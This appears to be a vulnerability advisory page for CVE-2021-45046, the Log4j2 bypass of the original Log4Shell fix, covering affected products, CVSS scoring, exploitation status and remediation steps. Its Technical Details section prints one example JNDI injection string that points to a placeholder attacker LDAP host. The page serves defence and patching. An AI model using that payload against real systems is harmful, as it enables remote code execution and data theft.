CVE-2021-45046
Apache Log4j2 Deserialization of Untrusted Data Vulnerability
Description
CVE-2021-45046 is a critical expression language injection vulnerability in Apache Log4j2, discovered as an incomplete fix for the original Log4Shell vulnerability (CVE-2021-44228). The flaw affects Log4j2 versions prior to 2.16.0 (Java 8) and 2.12.2 (Java 7) in certain non-default configurations that use Context Lookups or Thread Context Map patterns. An attacker with control over Thread Context Map input data can craft malicious JNDI Lookup patterns, resulting in information disclosure and remote code execution in some environments. CISA has confirmed active exploitation in the wild with known ransomware usage, and the EPSS score of 94.3% (99.95th percentile) indicates near-certain exploitation activity. Given its association with the Log4Shell attack wave and the massive install base of Log4j, CVE-2021-45046 demands immediate remediation.
KEV Information
CVSS Score
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:HOpen in CalculatorCWEs
Affected Products
| Vendor | Product | Version |
|---|---|---|
| apache | log4j | >= 2.0.1, < 2.12.2; >= 2.13.0, < 2.16.0; 2.0 |
| cvat | computer vision annotation tool | - |
| intel | audio development kit | - |
| intel | datacenter manager | - |
| intel | genomics kernel library | - |
| intel | oneapi | - |
| intel | secure device onboard | - |
| intel | sensor solution firmware development kit | - |
| intel | system debugger | - |
| intel | system studio | - |
| siemens | sppa-t3000 ses3000 firmware | All versions |
| siemens | captial | < 2019.1; 2019.1 |
| siemens | comos | All versions |
| siemens | desigo cc advanced reports | 4.0; 4.1; 4.2; 5.0; 5.1 |
| siemens | desigo cc info center | 5.0; 5.1 |
| siemens | e-car operation center | < 2021-12-13 |
| siemens | energy engage | 3.1 |
| siemens | energyip | 8.5; 8.6; 8.7; 9.0 |
| siemens | energyip prepay | 3.7; 3.8 |
| siemens | gma-manager | < 8.6.2j-398 |
Multiple CVSS Assessments
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H
References
- http://www.openwall.com/lists/oss-security/2021/12/14/4(Mailing List, Mitigation, Third Party Advisory)
- http://www.openwall.com/lists/oss-security/2021/12/15/3(Mailing List, Third Party Advisory)
- http://www.openwall.com/lists/oss-security/2021/12/18/1(Mailing List, Third Party Advisory)
- https://cert-portal.siemens.com/productcert/pdf/ssa-397453.pdf(Third Party Advisory)
- https://cert-portal.siemens.com/productcert/pdf/ssa-479842.pdf(Third Party Advisory)
- https://cert-portal.siemens.com/productcert/pdf/ssa-661247.pdf(Third Party Advisory)
- https://cert-portal.siemens.com/productcert/pdf/ssa-714170.pdf(Third Party Advisory)
- https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/EOKPQGV24RRBBI4TBZUDQMM4MEH7MXCY/(Mailing List, Release Notes)
- https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/SIG7FZULMNK2XF6FZRU4VWYDQXNMUGAJ/(Mailing List, Release Notes)
- https://logging.apache.org/log4j/2.x/security.html(Mitigation, Release Notes, Vendor Advisory)
- https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2021-0032(Third Party Advisory)
- https://security.gentoo.org/glsa/202310-16(Third Party Advisory)
- https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-apache-log4j-qRuKNEbd(Third Party Advisory)
- https://www.cve.org/CVERecord?id=CVE-2021-44228(Not Applicable)
- https://www.debian.org/security/2021/dsa-5022(Third Party Advisory)
- https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-00646.html(Third Party Advisory)
- https://www.kb.cert.org/vuls/id/930724(Third Party Advisory, US Government Resource)
- https://www.oracle.com/security-alerts/alert-cve-2021-44228.html(Third Party Advisory)
- https://www.oracle.com/security-alerts/cpuapr2022.html(Third Party Advisory)
- https://www.oracle.com/security-alerts/cpujan2022.html(Patch, Third Party Advisory)
- https://www.oracle.com/security-alerts/cpujul2022.html(Third Party Advisory)
- https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2021-45046(US Government Resource)
Weakness Type
CWE-917: Improper Neutralization of Special Elements Used in an Expression Language Statement (Expression Language Injection)
CVE-2021-45046 is classified as an expression language injection vulnerability (CWE-917), where Apache Log4j2 fails to properly neutralize special elements in JNDI Lookup expressions within log message patterns. When logging configurations use Context Lookups or Thread Context Map patterns, an attacker can inject JNDI expressions into the Thread Context Map data, causing the Log4j2 engine to evaluate and resolve these expressions — potentially loading and executing remote code via LDAP, RMI, or other JNDI-supported protocols.
Learn more: CWE-917 — Improper Neutralization of Special Elements Used in an Expression Language Statement
Impact Analysis
CVE-2021-45046 carries a CVSS 3.1 base score of 9.0 (CRITICAL) with the vector CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H. Attack Vector (Network): the vulnerability is remotely exploitable without physical access, as Log4j2 is commonly used in internet-facing applications such as web servers, API gateways, and cloud services. Attack Complexity (High): exploitation requires non-default logging configurations that use Context Lookups or Thread Context Map patterns, which limits the universally exploitable attack surface compared to CVE-2021-44228 — however, these configurations are common in enterprise environments. Privileges Required (None): no authentication is needed to trigger the vulnerability. User Interaction (None): the attack proceeds without victim action. Scope (Changed): the vulnerability can impact resources beyond the vulnerable Log4j component, such as the host operating system or other services on the same server. Confidentiality, Integrity, and Availability (all High): successful exploitation can lead to complete system compromise through remote code execution, enabling data theft, system manipulation, and service disruption. The confirmed ransomware usage and the ubiquity of Log4j in enterprise software stacks make this vulnerability an extreme business risk.
Exploit Maturity
CISA has confirmed active exploitation of CVE-2021-45046 in the wild, adding it to the Known Exploited Vulnerabilities catalog with a remediation deadline of May 22, 2023. Ransomware operators are known to exploit this vulnerability, making it a confirmed weapon in ransomware campaigns targeting Log4j-dependent infrastructure. The EPSS score of 94.3% (99.95th percentile) indicates near-certain exploitation activity. As a bypass for the original Log4Shell fix (CVE-2021-44228), CVE-2021-45046 was discovered during the intense global response to Log4Shell in December 2021, and exploit techniques developed for CVE-2021-44228 are directly applicable with minor modifications. Multiple vendor advisories from Cisco, Intel, Oracle, Siemens, and others confirm the widespread impact across enterprise products, and detailed mitigation guidance is available from the Apache Log4j security page. Organizations that applied only the initial CVE-2021-44228 fix (Log4j 2.15.0) remain vulnerable and must update to 2.16.0 or later.
Remediation
- Upgrade Apache Log4j2 to version 2.16.0 (Java 8) or 2.12.2 (Java 7) or later: These versions remove support for message lookup patterns and disable JNDI functionality by default, fully addressing CVE-2021-45046. Refer to the Apache Log4j security page for download links and release notes.
- Apply mitigations per CISA KEV guidance: Per the KEV required action, apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. The CISA remediation deadline was May 22, 2023.
- Audit all applications and dependencies for Log4j usage: Log4j is embedded in thousands of Java applications, libraries, and frameworks — use software composition analysis (SCA) tools to identify all instances of Log4j in your environment, including transitive dependencies.
- Apply vendor-specific patches for downstream products: Review advisories from affected vendors including Cisco, Intel, Oracle, Siemens, and others listed in the references, and apply product-specific patches or workarounds as recommended.
- Implement network-level mitigations: Block outbound LDAP, RMI, and other JNDI-related protocols from application servers to prevent exploitation even if vulnerable Log4j instances remain unpatched. Deploy WAF rules to detect and block JNDI injection patterns in HTTP headers, parameters, and request bodies.
- Remove Context Lookups from logging configurations: As an interim mitigation, remove any use of Context Lookup patterns ($${ctx:...}) and Thread Context Map patterns (%X, %mdc, %MDC) from Log4j2 logging configurations to eliminate the specific attack vector used by CVE-2021-45046.
Technical Details
CVE-2021-45046 is an expression language injection vulnerability (CWE-917) in Apache Log4j2 that bypasses the incomplete fix applied in version 2.15.0 for the original Log4Shell vulnerability (CVE-2021-44228). Root cause: Log4j 2.15.0 restricted JNDI lookups in log messages but did not account for certain non-default configurations where Thread Context Map (MDC) data is used in logging pattern layouts. When a logging configuration uses a Context Lookup (e.g., $${ctx:loginId}) or Thread Context Map pattern (%X, %mdc, or %MDC), attacker-controlled data injected into the Thread Context Map is processed by Log4j's pattern layout engine, which still evaluates JNDI Lookup expressions in these contexts. Exploitation mechanism: an attacker who can influence values stored in the Thread Context Map — for example, by providing crafted input through HTTP headers, form parameters, or API fields that are logged using MDC patterns — can inject JNDI Lookup expressions such as ${jndi:ldap://attacker.com/payload}. When Log4j processes the log event, it resolves the JNDI reference, potentially connecting to an attacker-controlled LDAP or RMI server that delivers a malicious Java class for execution. Scope and impact variation: in environments with non-default Pattern Layouts using Context Lookups, remote code execution is possible. In all environments, information disclosure through DNS-based JNDI lookups is achievable, as the JNDI resolution leaks internal data to attacker-controlled nameservers. The changed scope (S:C) in the CVSS vector reflects that exploitation can impact the host OS and other co-located services beyond the Log4j component itself.
Frequently Asked Questions
Is CVE-2021-45046 being actively exploited?
Yes. CISA has confirmed active exploitation of CVE-2021-45046 in the wild and added it to the Known Exploited Vulnerabilities catalog. Ransomware operators are known to exploit this vulnerability. The EPSS score of 94.3% (99.95th percentile) indicates near-certain exploitation activity, consistent with the massive exploitation wave that followed the Log4Shell disclosure.
What products are affected by CVE-2021-45046?
CVE-2021-45046 affects Apache Log4j2 versions prior to 2.16.0 (Java 8) and 2.12.2 (Java 7) when configured with non-default Pattern Layouts using Context Lookups or Thread Context Map patterns. The vulnerability impacts a vast ecosystem of products that embed Log4j, including those from Intel, Siemens, Cisco, Oracle, and many others. Organizations should audit all Java applications for Log4j dependencies.
How do I fix CVE-2021-45046?
Upgrade Apache Log4j2 to version 2.16.0 (Java 8) or 2.12.2 (Java 7) or later. Simply upgrading to 2.15.0 is not sufficient, as that version only partially addressed the JNDI injection issue. Additionally, audit all third-party applications for embedded Log4j instances and apply vendor-specific patches.
How severe is CVE-2021-45046?
CVE-2021-45046 is rated CRITICAL with a CVSS 3.1 base score of 9.0. While the high attack complexity (requiring non-default configurations) slightly reduces the universal exploitability, confirmed ransomware usage and an EPSS score of 94.3% (99.95th percentile) make this one of the most dangerous vulnerabilities in the enterprise landscape.
Need Help With Vulnerability Management?
Our security experts can help you prioritize and remediate vulnerabilities effectively.